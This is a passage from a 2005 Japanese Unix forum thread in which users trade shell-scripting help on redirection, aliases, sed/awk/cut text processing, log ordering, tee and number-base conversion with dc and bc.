でもリダイレクトはシェルの使い方の基本中の基本なので、
テンプレから適当な入門ページを見てみるのがいいと思います。

>>267
> ネットではイロイロ探してみたのですが、

次からは質問前にテンプレを見てみるというのも探し方に入れてください。


271 :264:05/02/09 00:49:10
>>270
すみません、テンプレにあるサイトは一通り
流し見たのですが。。。正直、すべてのページを目が乾くまでは
じっとりと診てないです。

あと、私が質問している内容は、
「stderr を ファイルにリダイレクトする」のではなくて、
「ファイルの中身を、stderrに出力したい」のですが、ということなんですが。
("シェルの基本"の部類に入るのでしょうか?)


272 :名無しさん@お腹いっぱい。:05/02/09 00:50:28
じゃあ諦めろ。

273 :名無しさん@お腹いっぱい。:05/02/09 01:00:55
>>271
ちょっと確認してみました。

>>2 の先頭にある「Bourne Shell自習テキスト」の2.3とか、
2番目にある「シェルを使おう」の2.2.2などはどうでしたか?

全部を全部舐める必要はありませんが、入門テキストっぽいところで
ご自分にあってそうなところを一つ選んで、学習してみてください。

> 「ファイルの中身を、stderrに出力したい」のですが、ということなんですが。
> ("シェルの基本"の部類に入るのでしょうか?)

まごうことなき基本中の基本です。


274 :264:05/02/09 01:16:51
>>273
ありがとうございます。
ヒントとしては、「シェルは標準入力・標準出力・標準エラー出力の
3つのファイルをオープンしており、それらはファイルディスクリプタ
「0 .. 3」として管理しています」
のところなのだろうか・・・というところまでは理解しました。

ここ1年ほどシェルを触りはじめましたが、まだわかっていないことが多すぎたようです。
ご丁寧にありがとうございました。


275 :名無しさん@お腹いっぱい。:05/02/09 16:00:23
シェル言うな

276 :名無しさん@お腹いっぱい。:05/02/09 16:10:19
シェルでも問題なかろう?

277 :名無しさん@お腹いっぱい。:05/02/09 16:42:05
ていうか、274の文章に限っては
「シェルスクリプト」は標準入力...をオープンしており...管理しています
としてしまうと逆にヘンだろ。

278 :名無しさん@お腹いっぱい。:05/02/09 16:44:38
個人的にはパイプとかリダイレクションが何をやってるのか分かったのは
APUEを読んでからだった
file descriptor って何だよってかんじで

279 :名無しさん@お腹いっぱい。:05/02/09 17:02:12
>>278
APUE とは?

280 :名無しさん@お腹いっぱい。:05/02/09 17:05:29
>>279
Advanced Programming in the UNIX(R) Environment
http://www.amazon.com/exec/obidos/ASIN/0201563177/
詳解UNIXプログラミング
http://www.amazon.co.jp/exec/obidos/ASIN/4894713195/

281 :名無しさん@お腹いっぱい。:05/02/10 05:30:24
APUEは最高のUNIX入門書

282 :名無しさん@お腹いっぱい。:05/02/10 07:59:02
昔はUPEだったなぁ

283 :名無しさん@お腹いっぱい。:05/02/10 14:37:29
UNIXプログラミング環境は紀伊國屋に売ってたなぁ
欲しかったけど Life with UNIX 買っちゃってお金がなかった

284 :名無しさん@お腹いっぱい。:05/02/10 22:16:05
wgetかcurlで
http://nylon.hostfuck.com/index01.html
の画像を落とすスクリプトを書いてください

285 :名無しさん@お腹いっぱい。:05/02/10 22:21:43
専用スレでどーぞ

連番のH画像を一気にダウンロードする
http://pc5.2ch.net/test/read.cgi/unix/979106537/

286 :初心者:05/02/10 22:55:28
スレ違いでしたらごめんなさい。
alias でコマンドに別名をつけたとします。
.bashrc に 'ls -aF'  を l で別名つけました。
この別名をシェルスクリプトから呼ぶことができないのは
なぜなんでしょうか?
よろしくお願いします

287 :名無しさん@お腹いっぱい。:05/02/10 22:58:31
シェルスクリプトが.bashrcを読まないから。


288 :名無しさん@お腹いっぱい。:05/02/10 23:02:29
.bashrcはログイン時に実行されてるのですが。
コマンドラインでalias設定してもスクリプトから
別名をよぶことができませんでした。
なんでですか??

289 :名無しさん@お腹いっぱい。:05/02/10 23:08:25
ログインシェルが覚えてるalias定義は、そこから起動されるスクリプトには受け継がれません。


290 :286:05/02/10 23:13:12
そーなんですか、そういうものなんですね。
レスサンクス!!

291 :名無しさん@お腹いっぱい。:05/02/11 08:22:58
シェルスクリプトの中で自分のalias使いたきゃ、
シェルスクリプトの先頭で . ~/.bashrc とか書いとけばできるが、
そんなことをするのは超邪道。

どうしてもやりたければ代わりにシェル関数使え。

292 :名無しさん@お腹いっぱい。:05/02/11 11:03:18
それ以前にプロセスというUNIXの基本を理解してない。


293 :名無しさん@お腹いっぱい。:05/02/11 11:04:34
おれも邪道だと思うが、
Linuxのいくつかのディストロがデフォルトで . ~/.bashrc ってやっているのがあるなぁ。

294 :名無しさん@お腹いっぱい。:05/02/11 11:07:36
せめて、
$grep alias ~/.bashrc|while read l;do eval $l;done
とするとか。

295 :名無しさん@お腹いっぱい。:05/02/11 11:23:41
>>294

\ でつないで複数行になってたらどぉするよ


296 :名無しさん@お腹いっぱい。:05/02/12 00:37:19
テキストファイルの各行で先頭5文字を削除したいのですが
どのように書けばよいか教えていただけませんか?

以下適当な文字列
aiueokakikukeko
sasisuseso
tachituteto
naninuneno

kakikukeko
useso
tuteto
uneno
のように、先頭5文字を削りたいのですがお願いします。


297 :名無しさん@お腹いっぱい。:05/02/12 00:42:53
sed -e 's/.....//'

298 :名無しさん@お腹いっぱい。:05/02/12 00:45:55
>>297
ありがとうございます

299 :名無しさん@お腹いっぱい。:05/02/12 00:49:52
sed ':label;/\\$/{N;s/\\\n/ /;b label}' ~/.bashrc |grep alias |while read l;do eval $l;done

300 :名無しさん@お腹いっぱい。:05/02/12 03:05:48
>>296
cut -c6- file_name

301 :名無しさん@お腹いっぱい。:05/02/12 03:11:58
>>300
おーなんかすげー

302 :名無しさん@お腹いっぱい。:05/02/14 11:10:13
>>301
それやめてくれ、>>300は基本中の基本だ

303 :名無しさん@お腹いっぱい。:05/02/14 14:43:42
>>296
colrm 1 5

304 :名無しさん@お腹いっぱい。:05/02/14 14:54:02
>>303
そんなコマンドがあったのか。

305 :名無しさん@お腹いっぱい。:05/02/14 14:54:15
colrmはSolarisで使えないから避けるが吉。

306 :名無しさん@お腹いっぱい。:05/02/14 14:58:08
Solarisってうざすぎ

307 :名無しさん@お腹いっぱい。:05/02/14 15:06:35
>>296
sed -e "s/^.\{5\}//;"

308 :名無しさん@お腹いっぱい。:05/02/14 15:41:38
文字列を区切文字で行に変換する方法を教えて下さい。
例えば
abc de fgh ijk

abc
de
fgh
ijk
にしたいのです。

309 :名無しさん@お腹いっぱい。:05/02/14 15:55:15
sed 's/ /\n/g'

310 :名無しさん@お腹いっぱい。:05/02/14 15:57:08
awk '{for(i=1;i<=NF;i++)print$i}'

311 :名無しさん@お腹いっぱい。:05/02/14 16:03:02
>>309
全部くっつきました。
abcndenfghnijk

312 :名無しさん@お腹いっぱい。:05/02/14 16:05:01
echo 'abc de fgh ijk' | xargs -n1


313 :名無しさん@お腹いっぱい。:05/02/14 16:12:40
>>311
\n を n にしてると思われ
釣?

314 :名無しさん@お腹いっぱい。:05/02/14 16:30:20
echo 'abc de fgh ijk' | tr ' ' '\n'


315 :名無しさん@お腹いっぱい。:05/02/14 16:42:13
>>313
sed で \n は使えないよ。

sed 's/ /\
/g'

だな。シングルクォート中で改行するので、
B-shell系のコマンドラインで実行すること。

316 :名無しさん@お腹いっぱい。:05/02/14 16:48:44
>>309-315
ありがとう!みんな大好き!


317 :309:05/02/14 16:50:28
使えました。
$ sed --version
GNU sed 4.0.5版

318 :名無しさん@お腹いっぱい。:05/02/14 17:06:44
sed の \n だけど、

GNU 3.x の sed では NG
FreeBSD 4.x の sed でも NG
試してないけど多分 Solaris の sed でも NGでは?

319 :名無しさん@お腹いっぱい。:05/02/14 17:53:59
Linux 板じゃないから GNU 前提は避けた方がいいな
>>299とかも

320 :名無しさん@お腹いっぱい。:05/02/14 22:20:41
48時間データを24時間データにしたいのですが良い方法はありませんか?
行数を指定して削除しようと考えていたのですがデータ欠損時に行数が狂ってしまうため
date --date 'today' +%y/%m/%d;に該当する行を削除したいのですがお願いします。

05/02/13 00:00 123 118
05/02/13 01:00 124 200
05/02/13 02:00 129 195
 (中略)
05/02/13 18:00 124 210
05/02/13 19:00 124 210
05/02/13 20:00 118 194
 (中略)
05/02/14 02:00 128 212
05/02/14 03:00 127 181
05/02/14 04:00 125 192
 (中略)
05/02/14 18:00 121 172
05/02/14 19:00 125 183
05/02/14 20:00 126 182

少し前のレスにdateは・・・とありますがお願いします。

321 :名無しさん@お腹いっぱい。:05/02/14 22:34:34
悪いが意味わからん

322 :名無しさん@お腹いっぱい。:05/02/14 22:41:16
と思ったが、
sed /^`date '+%y\/%m\/%d'`/d
のことだろうか

323 :名無しさん@お腹いっぱい。:05/02/14 22:41:53
>>320
TODAY=`date +%y\\\/%m\\\/%d`

sed /"^$TODAY"/d infile > outfile


↑でできます。
正規表現の中の/をエスケープするために\が要り、
さらに、` `で取り込むために\が\\に、\/が\\/になって、
結局\\\/という、禿げしく複雑なフォーマットになりますが、
これでできますよ。


>>321
わからない君は答えなくていいよ。

324 :名無しさん@お腹いっぱい。:05/02/14 22:43:17
うはwwwwwwwzshでwwwwやってみたwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

#!/bin/zsh

typeset -r DATE=$(date --date 'today' +%y/%m/%d)

while read -r line; do
[[ "$line" != "$DATE"* ]] && print "$line"
done


325 :名無しさん@お腹いっぱい。:05/02/14 22:44:02
うはwwwwwwwしかもwwwwwwwwwwwwwwwwかぶってwwwwwwるwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


326 :勉強になります:05/02/14 23:00:29
>>296
ほほぉ。

eelsPBG4:~ sheel$ echo "1234567890" | colrm 6
12345
eelsPBG4:~ sheel$ echo "1234567890" | cut -c6-
67890
eelsPBG4:~ sheel$ echo "1234567890" | sed -e "s/^.\{5\}//;"
67890

>>308
ほほぉ。
eelsPBG4:~ sheel$ echo 'abc de fgh ijk' | xargs -n1
abc
de
fgh
ijk
eelsPBG4:~ sheel$ echo 'abc de fgh ijk' | tr ' ' '\n'
abc
de
fgh
ijk

327 :名無しさん@お腹いっぱい。:05/02/14 23:01:36
>>323
ありがとうございます
3回もエスケープする必要があったんですね

328 :名無しさん@お腹いっぱい。:05/02/14 23:04:59
質問させてくださいませ

bash で 関数内にヒアドキュメントって使えますか?

やりたいことは定時FTP転送で、中に変数も使いたいから
関数にしようとしたんだけど、ヒアドキュメントっていう
か「<<」がだめっぽくてエラーが出ちゃいます。

なんかいい方法ないでしょうか?

329 :名無しさん@お腹いっぱい。:05/02/14 23:09:16
>>326
なんか良いね
いろんな解法があって

330 :名無しさん@お腹いっぱい。:05/02/14 23:11:55
>>328
bashに限らず、シェル関数内でもヒアドキュメントは使える。
うまくいってないのは別の原因と思われ。
やったことをもう少し詳しく書け。

331 :328:05/02/14 23:15:52
>>330
ごめんすぐわかった。

ftp -n >> _EOF

< COMMAND >

_EOF 2> xxx.log

ってやってたのがだめだったんですね。
COMMANDをファイルにまとめて書いていたときは、上記の感じで
エラー出力してFTPが成功したかどうかを判別してたのです。

シェルのftpコマンドでFTPが成功したかどうかを調べるいい方法
はありますか?


332 :名無しさん@お腹いっぱい。:05/02/14 23:53:49
>>331
expect 使うとかそういう話?>>4

333 :名無しさん@お腹いっぱい。:05/02/15 00:20:20
おい、顔出すのはMac版だけにしとけ。>>326

Paperが相手してくれてんだろ?

334 :328:05/02/15 00:37:44
>>332
うおお…ありがとう。

これでできます。ほんとにありがとう!

335 :名無しさん@お腹いっぱい。:05/02/15 07:36:39
1行に不定個の文字列がありそれを逆順にする方法を教えて下さい。
例えば
abc de fgh ijk
ijk fgh de abc
にしたいのです。

336 :名無しさん@お腹いっぱい。:05/02/15 07:49:29
(A=;for i in ab cd ef;do A="${i} $A";done;echo $A)

337 :名無しさん@お腹いっぱい。:05/02/15 08:03:53
小出しに宿題をやらされている気がするのは猛霊だけだろうか

338 :名無しさん@お腹いっぱい。:05/02/15 08:05:12
>>336
それじゃ標準入力から読めない。
↓にしとけ。

while read line
do
str=
for s in $line
do
str="$s $str"
done
echo "$str"
done

339 :名無しさん@お腹いっぱい。:05/02/15 08:34:32
sedじゃ無理ですか?

340 :名無しさん@お腹いっぱい。:05/02/15 08:41:33
perlならこうか?
perl -ane 'print join(" ",reverse @F),"\n"'
awkならどうやるんだろ。

341 :名無しさん@お腹いっぱい。:05/02/15 09:27:22
>>339
sedでやるなら↓
ただし、
* 文字列中に%が含まれていないこと
* スペースは1個のみで区切られていること

Copyright by me.


sed '
:loop
/ /{
s/^\(.*\) \(.*\)/\2%\1/
s/%\(.*\) \(.*\)/%\2%\1/
b loop
}
s/%/ /g
'

342 :名無しさん@お腹いっぱい。:05/02/15 09:32:38
awk ならこんな感じか。区切文字まで面倒みないが

awk '{for (i=NF; i>=1; i--) {if (i==1) print $i; else printf $i" "}}'

343 :名無しさん@お腹いっぱい。:05/02/15 09:35:05
すまん。
>>341 は一部ミスってる。発想はこんな感じなのだが・・
宿題っぽいのであとはお前らへの宿題にしとく。

344 :名無しさん@お腹いっぱい。:05/02/15 09:40:42
>>341
ありがとうございます。 すげー! 腰がぬけました。

345 :名無しさん@お腹いっぱい。:05/02/15 09:40:45
sed,awkって人を幸せにしてくれるな

346 :名無しさん@お腹いっぱい。:05/02/15 09:44:07
今度こそできた。

sed '
:loop
/ /{
 /%/{
  s/\(.*\)%\(.*\) \(.*\)/\1%\3%\2/
  b loop
  }
  s/^\(.*\) \(.*\)/\2%\1/
  b loop
  }
 s/%/ /g
'

347 :名無しさん@お腹いっぱい。:05/02/15 10:22:02
もっと簡単になった。

sed '
:loop
 / /{
  s/\([^%]*\) \(.*\)/\2%\1/
  b loop
 }
 s/%/ /g
'

348 :名無しさん@お腹いっぱい。:05/02/15 10:42:20
>>347
またまたありがとうございます。

ちょっと弄ってみました。
sed '
:loop
  s/\([^%]*\) \(.*\)/\2%\1/
  t loop
 s/%/ /g
'


349 :名無しさん@お腹いっぱい。:05/02/15 12:36:51
shだけ使って無駄に複雑に

foo () {
local s
case $# in
0) ;;
*) s=$1
shift
foo "$@"
echo -n "$1 "
;;
esac
}
while read line; do
foo $line
echo
done


350 :名無しさん@お腹いっぱい。:05/02/15 13:07:09
>>349
「shだけ」というなら、
local使っちゃいかんだろ。

351 :名無しさん@お腹いっぱい。:05/02/15 14:09:25
シェルスクリプトの中で
処理状況をログファイルに書き込む場合、
echo "状況" >> ログファイル
としていますが、
ファイルの末尾に追加していく方法ではなくて、
逆に先頭行に挿入していく方法を
ご教示下さい。

今はテンポラリファイルに最初状況を書いて、
今までのログをcatで入れていますが、
ログファイルが大きくなるにつれ、遅くなりそうです。



352 :名無しさん@お腹いっぱい。:05/02/15 14:15:39
今のファイルシステムでは、
仮にシェルがそんな機能をサポートしていたとしても、
巨大なファイルを扱えば重くなる。

353 :名無しさん@お腹いっぱい。:05/02/15 14:15:41
速い方法はない。どうやっても遅くなる。
そもそも先頭に挿入したいってのが変すぎる。
真の要求は別にあって、やり方を間違えてる
だけなんじゃないの?

354 :名無しさん@お腹いっぱい。:05/02/15 15:31:22
>>352-353
早速の回答ありがとうございます。
分かりました。ないですか。

ファイルシステム関連で無理な話なら、
対象処理を優先させるのが常識なので、
ログファイル書き込みでは追記書込をし、
最終的にそのログをtacを使って
別の逆順ログファイルを作成することにしました。

>>353
仕様云々ではなくて、技術的な面から純粋に
書込時にファイルの先頭にデータを挿入するのに
(てっとり)早い方法があるかどうか聞いてみただけです。

もしあれば、データのみのファイルに
ヘッダーを付ける場合も、
自分でテンポラリファイルの作成なしに、
リダイレクト感覚で(内部ではテンポラリを使うかもしれないですが)
できると思いましたが、そうは問屋がってやつですね。

355 :名無しさん@お腹いっぱい。:05/02/15 15:42:08
ページサイズごとにファイルくっつけると速くなるかも

356 :名無しさん@お腹いっぱい。:05/02/15 15:42:50
てゆうか、なんで逆順ログファイルなんてものが
必要なのかしら? 普通不要。

357 :名無しさん@お腹いっぱい。:05/02/15 16:28:31
実は tail コマンドを知らんとか、そういう落ち
だったりして。

358 :名無しさん@お腹いっぱい。:05/02/15 16:33:34
>>357
なのに head だけは知ってる(笑)

359 :名無しさん@お腹いっぱい。:05/02/15 16:38:51
>>356
そこまで逆順のログファイルが何故必要なのか
知りたいのなら、トータルで一番良い方法を
教えて下さい。

そのログをイントラ内でWebにより公開するのですが、
仕様決議で、(ブラウザのスクロールの操作無しに)
新しい情報であればあるほど、最初に見ることが出来た方が
良いから、逆順に表示されたものが見たい、とのことです。
要求がそうしたいとのことなので、どうしようもないです。

あと、ちょっとかけ離れますが、逆順のログということでは、
よくWebページの更新ログも逆順が多いですよね。
それが、変かどうかは人によって違うわけですしね。

Servlet内で正順のログを動的に逆順に読むと、
その処理で、Webページの表示が遅くなるので、
それなら元から逆順のデータがあれば、
コードも簡潔になるし、早く表示できるからです。

それか、DBでテーブル化しちゃうかかな...
そこまでのことでもないのだけどな。

>>357-358
念のため、tailを使わなかった。
-rオプション可能なtailとtacを調べてみたら
何故tailを使わないかが分かるよ。

360 :名無しさん@お腹いっぱい。:05/02/15 16:44:14
>そこまで逆順のログファイルが何故必要なのか
>知りたいのなら、トータルで一番良い方法を
>教えて下さい。


361 :名無しさん@お腹いっぱい。:05/02/15 16:58:12
俺なら、ブラウザの1ページに収まる程度の内容だけ
tail -40 くらいで切りとって、それを servlet で
逆順に表示するね。ログが長い場合、この方が tac
を使うよりも計算量がはるかに少なくて済む。

全ログを見たい場合には、逆順じゃなくて正順のまま
で表示。最後にアンカーを置いておいて、そこに飛ぶ
ようにはしておいてもいいかもしれん。

362 :名無しさん@お腹いっぱい。:05/02/15 17:05:01
>>359
ログは追記しか考えられないな。
表示は1画面分(当然仕様で決まってるよね?)を
tailしてきて表示時にひっくり返す。
なぜファイルレベルでひっくり返さなきゃならんのか不明。

要求する人は中の人がファイルの尻に追記してたって、
頭に挿入してたって関係ないわけで、詳細設計や実装する人は
要求定義をそのままコーディングするんじゃなくてコンピューターが
やりやすいようにやんなきゃダメよん。

363 :362:05/02/15 17:06:13
>>361
あらかぶったわ。まあ常識ってことで。

364 :361:05/02/15 17:06:59
>>362
お、被ってる。
ふつうこうするよなぁ。

365 :名無しさん@お腹いっぱい。:05/02/15 17:23:03
ま、要求が変というのもあるがな。
ログなんて時間順に上から下に並ぶのが一番自然なわけで、
たまたま今のブラウザが、ページを開いたときに一番上を
最初に見せることしかできないからといって、
そっちに合わせてログを逆順にしなきゃという発想がそもそもいかん。
一番下が最初に現れるようにするのが正統。

366 :名無しさん@お腹いっぱい。:05/02/15 17:26:36
>>359
正順で記録しといて、rotate の際に逆にするとか。
rotate されてない分は表示するときに逆順にする。

それかがんばって逆順で記録。

何がトータルで一番良いかは状況によるのでなんとも。

>>365
そんなに変でもないと思うよ。

367 :悩める20代:05/02/15 17:33:35
はじめまして、「悩める20代」です。
Kシェルの初心者ですが、皆様のお知恵をお借りしたく投稿しました。

Kornシェルのスクリプトでログを出力するシェルを作成しました。

しかし、ログが改行されて出力されてしまいます。
原因はスクリプト内でdateコマンドを実行しているのですが、最後に改行文字が負荷されてしまうようです。
調べているのですが、何か良い方法をご存知ありませんか?

<実際のスクリプト>

#!/bin/ksh
# 日付を出力
date "+%Y-%M-%d %H:%M:%S" >> a.txt
# ログメッセージを出力
echo " [INFO ] : 〔GQE1001I〕 テーブル名 TTTTT のリフレッシュが正常に終了しました。" >> a.txt


<出力結果>

2005-58-15 16:58:30
[INFO ] : 〔GQE1001I〕 テーブル名 TTTTT のリフレッシュが正常に終了しました。

<本当は以下のようにしたいです>

2005-58-15 16:58:30 [INFO ] : 〔GQE1001I〕 テーブル名 TTTTT のリフレッシュが正常に終了しました。

368 :名無しさん@お腹いっぱい。:05/02/15 17:36:06
変とかそういうあいまいな話じゃなくて、
逆順に記録するならたかがログにファイルロックとかせなあかん。
ちょーマンドクセ

表示の時にちょいと工夫すりゃいい話。
極端な話、表示順を逆順にする程度のことは
javascript等(=クライアント側)にやらせてもいいわけで。

369 :名無しさん@お腹いっぱい。:05/02/15 17:36:10
・シェルスクリプトのことをシェルってゆーな by >>1


370 :名無しさん@お腹いっぱい。:05/02/15 17:38:53
>>367
echo -n `date hogehoge`

371 :名無しさん@お腹いっぱい。:05/02/15 17:45:00
>>361-366
どうもありがとうございます。
説明がまずかったです。
スクロール無しというのは、
最新データを見たい場合のことです。

イントラ内なので、転送速度は問題なく、
別ページに遷移は面倒だから、
1回の処理=1ファイルでを
全部表示させる仕様です。
(ファイルはrotateします。)

関係ないかもしれませんが、
私も2chはかちゅだけど、全部表示ですしね。
それはそれでユーザに同意してます。

あと、最初の文章は煽っているわけでも
ありません。
すみません後から見るとそう見えますね。
処理を洗い出すので、どこか良い改善策が
あれば教えて下さいと言う意味でした。

リンクで(逆順の)ファイルを表示させる
のが一番シンプルで効率的なので、
今のところその方向でいきます。
正順で表示し、javascriptで最後尾にスクロールも
試してみます。(要件としては最初に最新のものを
見たいということなので)
それで、昇順、降順をどっちも実装します。

いろいろありがとうございました。

372 :名無しさん@お腹いっぱい。:05/02/15 17:48:19
そもそもtacで重くなるようなサイズのログをwebで出されても

373 :名無しさん@お腹いっぱい。:05/02/15 17:51:23
>>367
echo には >>370さん がかいてるように -n がある。

そういったオプションが無いコマンド(date など)は
コマンド | tr -d "\n"
で \n を削除。

とりあえず、man tr を。

374 :名無しさん@お腹いっぱい。:05/02/15 19:40:11
>>367

# 日付けとログメッセージを出力
echo `date "+%Y-%M-%d %H:%M:%S"` " [INFO ] : 〔GQE1001I〕 テーブル名 TTTTT のリフレッシュが正常に終了しました。" >> a.txt


375 :名無しさん@お腹いっぱい。:05/02/15 19:43:00
date '+%Y-%M-%d %H:%M:%S [INFO ] : 〔GQE1001I〕 テーブル名 TTTTT のリフレッシュが正常に終了しました。' >>a.txt

376 :名無しさん@お腹いっぱい。:05/02/16 01:15:03
cp $FILES $DIR
ってかくと$FILESが空の時にエラーになってしまい
Makefile等など途中で終了してしまうのですが、
どう回避するのが手軽でよいしょうか。

よろしくお願いします。

377 :名無しさん@お腹いっぱい。:05/02/16 01:16:28
>>376
空にならないようにする
空の時に実行しないようにする

378 :名無しさん@お腹いっぱい。:05/02/16 01:17:38
test -z "$FILES" || cp $FILES $DIR

379 :名無しさん@お腹いっぱい。:05/02/16 01:22:04
>よろしくお願いします。

何を?

380 :名無しさん@お腹いっぱい。:05/02/16 02:20:43
っつか、ウェブで閲覧するっていうんなら、
そんなぐだぐだリネームしなくっても、
Options Indexes
で即解決なんじゃないの?
ソートできるよね?

381 :名無しさん@お腹いっぱい。:05/02/16 07:23:48
Makefile でそこでエラーが出ても後続の処理に問題がないのなら、
頭に-を付けて無視すればいい

-cp $FILES $DIR

382 :名無しさん@お腹いっぱい。:05/02/16 13:10:09
>>380
どれへのレス?

383 :名無しさん@お腹いっぱい。:05/02/17 10:30:39
既存のCシェルスクリプトに対して、
trapにより、 trap 'exit 3' 15
して、kill信号のみをtrapしたいんですけど、
使うと、そのコマンドはないです。 と怒られます。

しかし、Cシェル用のonintr で、goto先指定すると、
全ての割り込みに対して、gotoしてしまうので、×です。

できれば、既存のCシェルスクリプトをあまり変えることなく
trap 'exit 3' 15 したいんですけど、 いい案はないでしょうか?

384 :名無しさん@お腹いっぱい。:05/02/17 11:08:53
>>383
いい案はない。
cshは捨てろ!
以上。

385 :380:05/02/17 13:45:38
>>382
>>359 あたりの一連のポストへのレスのつもり

386 :名無しさん@お腹いっぱい。:05/02/17 14:39:51
だとすると逝ってよい

387 :名無しさん@お腹いっぱい。:05/02/18 11:28:36
awkで困ってます。


n.datの中身
----------------------------------------
a,0,A,AAAAA,BBBBBBBB,wait,,,,
a,0,A+0217,AAAAA,BBBBBBBB,wait,,,,
a,0,A=0217,AAAAA,BBBBBBBB,wait,,,,
a,0,A+0218,CCCCC,BBBBBBBB,disable,,,,
a,0,A+0219,AAAAA,BBBBBBBB,hold,,,,
a,0,B+0217,BBBBB,BBBBBBBB,disable,,,,

ここから、+0217が含まれる行を取り出して。。。と考え、

awk -F, '$3~\+0217 {print $4,$6}' n.dat

としたのですが、エラーでうまくいきません。

ご教授いただけますでしょうか。


388 :名無しさん@お腹いっぱい。:05/02/18 11:38:27
リダイレクトに関する質問です。
メッセージを標準出力とファイルの両方に出力するにはどうすればいいでしょうか。
Makefileの生成コマンドに記述したいのですがエレガントな方法が思いつきません。
具体的には、次のようなことがしたいのです。

cc -c hoge.c 2> err; cat err; cat err >> error

エラーを標準出力に表示しつつも、errorファイルに記録したいのですが、
なんかかっこ悪いし、makeを-jオプション付で実行したときの一時ファイルerrの
排他なんかも気になります。
特別なコマンドを使う等の環境依存はないようにしたいのですが、よい方法はないでしょうか。

389 :名無しさん@お腹いっぱい。:05/02/18 11:38:37
>>387
awk -F, '$3~/\+0217/ {print $4,$6}'

390 :名無しさん@お腹いっぱい。:05/02/18 11:44:57
>>388
標準出力も標準エラー出力も、画面とファイルに出力するなら、

cc -c hoge.c 2>&1 | tee err

391 :387:05/02/18 12:00:51
>>389
ありがとうございます。うまくいきました。

で、今度は応用として、変数も使いたいと思いまして、

MMDD=+0217
nawk -F, -v TDAY=$MMDD '$3 ~TDAY{print $4,$6}' n.dat

としたのですが、エラーになります。。。

+がネックになるみたいです。
教えて君で申し訳ありません。ご教授いただけるとありがたいです。。。


392 :名無しさん@お腹いっぱい。:05/02/18 12:11:55
>>391
そういう場合は、awk側の変数を使わずに、
シェル変数として展開させる。

MMDD=+0217
awk -F, '$3 ~/'$MMDD'/ {print $4,$6}' n.dat

シングルクォートを一回閉じてから $MMDD を挟み込んでいることに注意。

393 :388:05/02/18 12:18:35
>>390
うを、teeなんてコマンドが。
ありがとうございます。抜群でした。

394 :387:05/02/18 12:49:35
>>392
MMDD="\+0218"
awk -F, '$3 ~/'$MMDD'/ {print $4,$6}' n.dat

これでいけました。
ありがとうございます!ほんとうに助かりました!


395 :名無しさん@お腹いっぱい。:05/02/18 16:05:55
1つのファイルを2つに別けたいのですが
その方法をご教授ください。

[test.txt]
AAAAhogeBBBBB
ABCDEFGhogeHIJKL
12345hoge67890
maehogeusiro

1行にhogeが1回しかないことを前程にして

[mae.txt]
AAAA
ABCDEFG
12345
mae
[usiro.txt]
BBBBB
HIJKL
67890
usiro

mae.txtとusiro.txtに別けたいのですがお願いします。

396 :名無しさん@お腹いっぱい。:05/02/18 16:20:14
スクリプトと関係ない話が続く。

397 :名無しさん@お腹いっぱい。:05/02/18 16:23:50
シェルスクリプト書くための要素技術なんだからいいんじゃない?

>>395
sed 's/hoge.*//' test.txt
sed 's/.*hoge//' test.txt

398 :名無しさん@お腹いっぱい。:05/02/18 16:28:18
>>395
awk -F hoge '{print $1}' test.txt > mae.txt
awk -F hoge '{print $2}' test.txt > ushiro.txt


399 :名無しさん@お腹いっぱい。:05/02/18 16:40:30
おや、このスレはえらい親切モードだね。

400 :名無しさん@お腹いっぱい。:05/02/18 17:06:53
教えない君は何ごとにも小さい奴。職人に多い。

401 :名無しさん@お腹いっぱい。:05/02/18 17:10:34
シェルスクリプトに関する質問なら俺様がいくらでも答えてやる。
どんどんかかってこい。

402 :名無しさん@お腹いっぱい。:05/02/18 17:10:57
ていうかさ、いろんなコマンドを組み合わせるglueとして働くのが
シェルスクリプトの便利なところ強力な所で、>>395などは適切な質問だろ。

(もし)それをわからないというなら、スクリプトの便利さ強力さを理解してない。
(もし)それをわかってて>>396みたいなレスしたなら、人に誤解を植えつける意地悪。

403 :402:05/02/18 17:18:20
あーそうか、簡単すぎてスクリプトにならんだろ(glueいらんだろ)という話か。
それはそうだったかもな...

404 :名無しさん@お腹いっぱい。:05/02/18 17:25:33
では、
10進数を2から16進数各々に変換する、
また、逆を行うスクリプトでかなりイケてる
ものを教えて下さい。

405 :名無しさん@お腹いっぱい。:05/02/18 17:29:32
>>404
別にイケてないけど、漏れの.bashrcに↓こう書いてある。
function 2to8 () { dc -e "8o 2i $1 p"; }
function 2to10 () { dc -e "2i $1 p"; }
function 2to16 () { dc -e "16o 2i $1 p"; }
function 8to2 () { dc -e "2o 8i $1 p"; }
function 8to10 () { dc -e "8i $1 p"; }
function 8to16 () { dc -e "16o 8i $1 p"; }
function 10to2 () { dc -e "2o $1 p"; }
function 10to8 () { dc -e "8o $1 p"; }
function 10to16 () { dc -e "16o $1 p"; }
function 16to2 () { x=`echo $1|tr '[a-z]' '[A-Z]'`; dc -e "2o 16i $x p"; }
function 16to8 () { x=`echo $1|tr '[a-z]' '[A-Z]'`; dc -e "8o 16i $x p"; }
function 16to10 () { x=`echo $1|tr '[a-z]' '[A-Z]'`; dc -e "16i $x p"; }


406 :名無しさん@お腹いっぱい。:05/02/18 17:35:38
たぶん、最強
echo "obase = $ot; ibase = $in; print $un, \"\n\"" |bc;

407 :名無しさん@お腹いっぱい。:05/02/18 17:48:10
% cat calc.sh
#!/bin/sh
num=$1
base=$2
w3m 'http://www.google.com/search?q='${num:=10}'+in+'${base:=binary}

% ./cals.sh 10
% ./cals.sh 10 octal
% ./cals.sh 10 hexadecimal
% ./cals.sh 0x10 decimal
% ./cals.sh 0b10 decimal
...

408 :名無しさん@お腹いっぱい。:05/02/18 17:50:19
>>407
面白いな
翻訳機能板とかも持ってるだろ?それも出せ

409 :名無しさん@お腹いっぱい。:05/02/18 17:54:53
>>404
何をイケてるというかによるが、適材適所なら>>406のbc使うのがいいだろうな。
expr使って桁ごとにがんばるのは馬鹿げてるし、
ましてやテーブル作ってexprの真似ごとをshでやるのはもっと馬鹿げてる。

410 :名無しさん@お腹いっぱい。:05/02/18 18:16:05
馬鹿げてるから楽しい。

411 :名無しさん@お腹いっぱい。:05/02/18 19:33:10
>>408
いや、持ってない(w。でも、普段はコマンドラインや w3m では使ってるから、手抜きの
スクリプトを作ってみた。

% cat ./tarns.sh
#!/bin/sh
TMPFILE=/tmp/trans.$$
trap 'rm -f $TMPFILE' 0 1 2 15

w3m='w3m -no-proxy -o use_history=0 -o confirm_qq=1'
t_or_u=$1
from=$2
to=$3

